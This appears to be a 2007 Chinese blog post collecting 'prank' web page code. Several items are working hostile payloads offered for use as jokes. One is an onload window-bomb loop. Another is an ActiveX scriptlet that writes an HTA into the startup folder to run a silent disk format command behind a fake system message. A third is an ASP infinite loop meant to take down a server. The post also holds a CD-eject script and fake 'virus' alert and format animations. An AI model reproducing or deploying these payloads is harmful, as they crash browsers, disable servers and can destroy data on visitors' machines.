最轻的玩笑:IE视窗炸弹或者叫让IE不段循环的代码

<HTML>
<HEAD>
<TITLE>。。。</TITLE>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</HEAD>
<BODY onload="WindowBomb()">
<SCRIPT LANGUAGE="javascript">
function WindowBomb()
{
var iCounter = 0 // dummy counter

while (true)
{
window.open("http://www.webjx.com","CRASHING" + iCounter,"width=1,height=1,resizable=no")
iCounter++
}
}
</script>
</BODY>
</HTML>

过分的玩笑:格式化硬盘 (敢测试吗)

<object id="scr" classid="clsid:06290BD5-48AA-11D2-8432-006008C3FBFC">
</object>
<script>
scr.Reset();
scr.Path="C:\\windows\\Men?inicio\\Programas\\Inicio\\automat.hta";
scr.Doc="<object id=wsh classid=clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B></object><script>wsh.Run(start /m format a: /q /autotest /u);alert(IMPORTANT : Windows is configuring the system. Plase do not interrupt this process.);</"+"SCRIPT>";
scr.write();

能使光驱弹出的代码
 <OBJECT ID="Player" height="0" width="0" 
  CLASSID="CLSID:6BF52A52-394A-11d3-B153-00C04F79FAA6">
</OBJECT>
 <SCRIPT LANGUAGE="JavaScript">
Player.cdromCollection.item(0).eject();
 </SCRIPT>

这个是把服务器给搞掉....

<%
Server.ScriptTimeout=9999999
do while true
loop
%>

<script language=JavaScript>
function hassl() {
;alert('警告,我是黑黑病毒,已侵入你的系统!!!')
;alert('我现在已经驻在你家里,你欢迎我么????')
;alert('你的硬盘文件将会被我“吃掉“,哈哈....')
;alert('我是不是很“黑“,现在才知道么?太晚了!!!')
;alert('我要开始工作了,,,,,,。。')
;alert('我正在大口的嚼,你的Command文件真香^_^')
;alert('你怕不怕,你一定要记住我黑黑。。。')
confirm('黑黑懒懒洋洋的伸了伸腰,真的好舒服。')
;alert('我现在要格式么你的硬盘了,你做好准备了么???')
;alert('One..Two..Three..现在开始^_^')
;alert('10%')
;alert('20%')
;alert('25%')
;alert('40%')
;alert('50%')
;alert('60%')
;alert('65%')
;alert('70%')
;alert('79%')
;alert('80%')
;alert('90%')
;alert('98%')
;alert('100%')
;alert('不要害怕,你的硬盘丝毫未损,先跟你开个玩')
;alert('现在要开始了,要小心!!!!')
;alert('10%')
;alert('30%')
;alert('55%')
;alert('70%')
;alert('80%')
;alert('90%')
;alert('95%')
;alert('100%')
;alert('complete')
;alert('黑黑已成功的侵犯了你的系统,黑黑在得意的^_^..^_^...')
;alert('你的系统已被锁定%±÷#(')
;alert('黑黑睁开笑眯眯的眼睛,突然大吼道“我要吃掉所有的文件”....')
confirm('黑黑的老臊隐,总是发个没完')
;alert('我黑黑算是病毒么?')

;alert('我自己也搞不清楚')
;alert('我算是一个又黑又不黑的玩意')
;alert('黑黑有些累了,看来我不想吃你的“东西”,其实我一些在跟你开玩笑,')
;alert('黑黑要跟你说再见,黑黑其实是个好孩子')

}
</script>
<input type="button" value="模拟病毒" onClick="hassl()" name="button">


<html>
<head>
<title>...</title>
<script>

function format(){
writing = true;
var line = currentCmdWindow.getElementsByTagName("P")[currentCmdWindow.getElementsByTagName("P").length - 1];
line.innerText = line.innerText.replace(/_$/, "");
formatmsg  = "format C:/q";
n = 0;
ftimer = setInterval(function(){
if(n > formatmsg.length){
clearInterval(ftimer);
writing = false;
setTimeout(function(){
line.innerText = line.innerText.replace(/_$/, "");
var warning = "\n\nWARNING, ALL DATA ON NON-REMOVABLE DISK\nDRIVER C: WILL BE LOST\nProceed with Format (Y/N)?";
line.innerText += warning;
setTimeout(function(){
line.innerText = line.innerText.replace(/_$/, "");
line.innerText += "y\n\nChecking existing disk format.\nRecording current bad clusters.\nComplete.\nVerifying 10,204.25M\n";
ppercent = 0;
line.innerText += "\n 00 percent completed.";
window.ptimer = setInterval(function(){
if(ppercent > 100) {
clearInterval(ptimer);
line.innerText += "\nrestarting system....";
setTimeout(function(){parent.win.hide()},3000);
return false;
}
var perc = (ppercent < 10) ? "0" + ppercent : ppercent;
var ppp = " " + perc + " percent completed.";
line.innerText = line.innerText.replace(/(\d+)( percent completed)/, perc + "$2");
ppercent++;
},70);
},1000);
}, 1000);
}
line.innerText += formatmsg.substr(n++,1);

}, 100);
}
var timer;
var win = window.createPopup();
var cmdIndex = 0;
var closeMe = 0;
var currentCmdWindow;
function CurrentCmdFocus(obj)
{
currentCmdWindow = obj;
obj.rows(0).cells(0).style.filter = "progid:DXImageTransform.Microsoft.gradient(startColorStr=#0054E3,endColorStr=#358DFB,GradientType=1)";
obj.style.zIndex = cmdIndex++;
}
function CurrentCmdBlur(obj)
{
var line = obj.getElementsByTagName("P")[obj.getElementsByTagName("P").length - 1];
line.innerText = line.innerText.replace(/_$/, "");
obj.rows(0).cells(0).style.filter = "progid:DXImageTransform.Microsoft.gradient(startColorStr=#6B79B8,endColorStr=#8C9ADB,GradientType=1)";
}

function OpenCmdWindow(height)
{
if (height < window.screen.availHeight)
{
height += 50;
if (height >= window.screen.availHeight)
{
height = window.screen.availHeight;
win.show(0, 0, window.screen.availWidth, window.screen.availHeight);
CreateCmdWindow(win.document.getElementById("Frame"), 10, 10);
currentCmdWindow.focus();
Wink(true);
}
else
{
win.show(0, 0, window.screen.availWidth, height);
}
}
else if (!win.isOpen)
{
//win.show(0, 0, window.screen.availWidth, window.screen.availHeight);
}
timer = setTimeout("OpenCmdWindow(" + height + ")", 50);
}

function CreateCmdWindow(obj, left, top)
{
var cmdWindow = win.document.createElement("TABLE");
cmdWindow.border = 1;
cmdWindow.className = "Cmd";
cmdWindow.style.left = left;
cmdWindow.style.top = top;
cmdWindow.style.zIndex = cmdIndex++;
var newRow = cmdWindow.insertRow();
var newCell = newRow.insertCell();
newCell.className = "Title";
newCell.innerHTML = "<span>&nbsp;C:\\WINDOWS\\system32\\cmd.exe<\/span>" +
"<button onclick=\"parent.win.hide()\">×<\/button>" +
"<button>□<\/button>" +
"<button>-<\/button>";
newRow = cmdWindow.insertRow();
newCell = newRow.insertCell();
newCell.innerHTML = "<div class=\"Content\">" +
"<p>Microsoft Windows XP [Version 5.1.2600]<\/p>" +
"<p>(C) Copyright 1985-2001 Microsoft Corp.<\/p>" +
"<p>&nbsp;<\/p>" +
"<p>C:\\WINDOWS\\system32&gt;<\/p>" +
"<div class=\"Adorn\"><\/div>" +
"</div>";
cmdWindow.onactivate = function (){ window.parent.CurrentCmdFocus(this); }
cmdWindow.ondeactivate = function (){ window.parent.CurrentCmdBlur(this); }
obj.appendChild(cmdWindow);
currentCmdWindow = cmdWindow;
format();
}

function Wink(show)
{
if(currentCmdWindow != undefined && currentCmdWindow != null)
{
var line = currentCmdWindow.getElementsByTagName("P")[currentCmdWindow.getElementsByTagName("P").length - 1];
if(show && !writing)
{
line.innerText += "_";
}
else
{
line.innerText = line.innerText.replace(/_$/, "");
}
}
setTimeout("Wink(" + !show + ")", 500);
}

function GetRandomNum(max)
{
return parseInt(Math.random() * max + 1);
}

window.onload = function()
{
win.document.body.innerHTML = "<div id=\"Frame\" onselectstart=\"return false;\"></div>";
win.document.appendChild(win.document.createElement("STYLE"));
win.document.styleSheets[0].addRule("body", "padding: 0px; margin: 0px;");
win.document.styleSheets[0].addRule("#Frame", "width: 100%; height: 100%; background: #3A6EA5;");
win.document.styleSheets[0].addRule(".Cmd", "background: #fff; position: absolute; width: 670px; height: 440px; font-size: 10pt; color: #fff; cursor: default;");
win.document.styleSheets[0].addRule(".Title", "filter: progid:DXImageTransform.Microsoft.gradient(startColorStr=#6B79B8,endColorStr=#8C9ADB,GradientType=1); height: 24px; font-weight: bold;");
win.document.styleSheets[0].addRule(".Title span", "float: left; line-height: 20px;");
win.document.styleSheets[0].addRule(".Title button", "width: 18px; height: 18px; float: right; font: 9pt; font-weight: bold; text-algin: center; margin: 2px 1px 0px 0px; border: outset 2px #fff;");
win.document.styleSheets[0].addRule(".Content", "background: #000; height: 100%; overflow-y: scroll; scrollbar-face-color: #ece9d8; scrollbar-highlight-color: #ffffff; scrollbar-shadow-color: #ccc; scrollbar-arrow-color: #000000; scrollbar-track-color: #eeeeee; scrollbar-darkshadow-color: #666; scrollbar-base-color: #ece9d8;");
win.document.styleSheets[0].addRule(".Content p", "margin: 0px; line-height: 16px;");
win.document.styleSheets[0].addRule(".Content .Adorn", "height: 4000px;");
OpenCmdWindow(0);
}
</script>
</head>
<body style="display: none;"></body>
</html>

 

待续..


-----------

posted on 2007-06-01 08:34  许维光  阅读(565)  评论(0)    收藏  举报